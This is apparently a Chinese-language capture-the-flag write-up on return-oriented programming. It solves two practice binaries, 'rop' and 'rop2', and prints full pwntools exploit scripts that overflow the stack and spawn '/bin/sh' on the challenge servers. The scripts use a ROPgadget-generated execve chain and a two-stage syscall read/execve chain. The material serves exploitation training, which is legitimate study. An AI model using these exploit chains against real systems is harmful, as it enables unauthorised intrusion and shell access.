实验平台:
x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4
实验Binary及答案:
https://github.com/bjrjk/pwn-learning/tree/main/NX/rop
https://github.com/bjrjk/pwn-learning/tree/main/NX/rop2
Remote:
nc hackme.inndy.tw 7704
nc hackme.inndy.tw 7703
我们首先来看rop。
老规矩,首先checksec rop
,得到如下信息:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以注意到,这次的ELF文件,NX的保护措施已经开启了,这就意味着,凡是用户能够控制的数据段(包括bss、stack等),都不再可执行了。因此,我们不能通过向栈上填充shellcode的方法进行getshell了。
此时,栈上只能填充供其他函数使用的数据或者返回地址。所以,我们需要提出一个新的概念,利用代码段中现有的指令组合成shellcode进行执行。这个概念就是ROP (Return-Oriented Programming),面向返回的编程。
对于ROP,我在网上没有找到一个标准清晰的定义,我说一说自己对ROP的理解:x86体系结构在栈中布局返回地址和数据。当NX被关闭时,数据不再可执行,唯一能够影响控制流的就是栈上的返回地址,因此,这种布局手法叫做面向“返回”的编程。我们从程序的Binary中搜索出很多可被我们所利用的、后接ret
指令的汇编片段,并借助这些汇编片段的组合完成我们的整个渗透过程,随系统体系结构和ABI的不同,我们布局栈的方式也不相同。例如,amd64 ABI的整数参数在寄存器里,因此我们还需要利用ROP将利用栈溢出存入栈上的参数POP到寄存器中,而对于i386 ABI,参数全部布局在栈里,则无此问题。
好了,我们回到rop
的程序本身。用IDA打开查看,发现函数列表里有一大堆东西,因此怀疑这个程序是静态链接的,后面用ldd
查看,发现这个ELF确实是静态链接的。在函数列表中查询,也没有发现system函数。到此,思路陷入僵局。经过查看参考资料[1],发现可以直接用ROPGadget生成ROPChain利用链[捂脸]。这样就非常轻松了。
执行的具体指令如下:
ROPgadget --binary rop --ropchain
得到ROP链,再将其与IDA得到的相关信息结合,可得下列PoC:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os
context(arch = "i386",os = "linux", log_level = "debug")
# ROPgadget --binary rop --ropchain
# Padding goes here
p = 0x10*'0'
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
io = remote("hackme.inndy.tw", 7704)
#io = process('./rop')
io.sendline(p)
io.interactive()
通过本程序的实践,我的一个感受是,对于静态链接的程序,由于融合进来的代码很多,因此一般便于ROPgadget的ROPchain的自动发掘,而对于动态链接的程序,代码一般较少,就需要手动进行ROPchain的发掘。
我们再来看rop2
。经测试,rop2
是一个动态链接的程序,使用ROPgadget也无法自动化发掘出ROP链,因此只能使用手动分析的方法。使用IDA查看,发现还基本上没引入什么libc中的符号,最引人瞩目的就是syscall
函数。如果你曾经使用过linux的系统调用,你就应该知道可以通过系统调用的方式执行标准IO读写(read, write)和程序的执行(execve),本程序是i386程序,对应的系统调用号和参数可参考资料[2]。
在本程序中,overflow
函数存在栈溢出漏洞。我们只需要执行execve("/bin/sh", NULL, NULL)
即可,但程序中并不存在"/bin/sh"这个字符串,我也懒得去用泄漏libc地址的方法去找libc里的字符串。于是一个想法就是先用栈溢出执行read系统调用把"/bin/sh"从stdin读到一个可写的内存位置,第二次再用栈溢出执行execve并把这个字符串的地址传过去。
一开始我的想法是用栈存这个字符串,后来一想不行。虽然程序关了PIE,但栈的基址也是由操作系统决定的,而且你也不好泄漏栈的基址。后来看[1]处的想法,恍然大悟:可以用bss段存!我个人觉得这里其实用data段存应该也行,不过我没试。
于是能够得到下面的PoC:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os
context(arch = "i386",os = "linux", log_level = "debug")
p = remote("hackme.inndy.tw", 7703)
#p = process('./rop2')
elf = ELF('./rop2')
syscall_plt = elf.plt['syscall']
overflow_func = elf.sym['overflow']
main_func = elf.sym['main']
bss_buf = elf.bss()
p.recvuntil("ropchain:")
# padding+ saved_registers + syscall(read, 0, &bss, 1024) + main()
payload1 = 0xc*'z'+p32(0)+p32(syscall_plt)+p32(main_func)+p32(3)+p32(0)+p32(bss_buf)+p32(1024)
p.sendline(payload1)
# Send "/bin/sh" to &bss
payload2 = "/bin/sh\x00"
p.sendline(payload2)
p.recvuntil("ropchain:")
# padding+ saved_registers + syscall(execve, "/bin/sh", NULL, NULL) + main()
payload3 = 0xc*'z'+p32(0)+p32(syscall_plt)+p32(main_func)+p32(11)+p32(bss_buf)+p32(0)+p32(0)
p.sendline(payload3)
with open("poc.txt", "w") as f:
f.write(payload1)
f.write("\n")
f.write(payload2)
f.write("\n")
f.write(payload3)
f.write("\n")
p.interactive()
参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78259866
[2] https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit
[3] http://asm.sourceforge.net/syscall.html
[4] https://docs.pwntools.com/en/latest/elf/elf.html
[5] https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/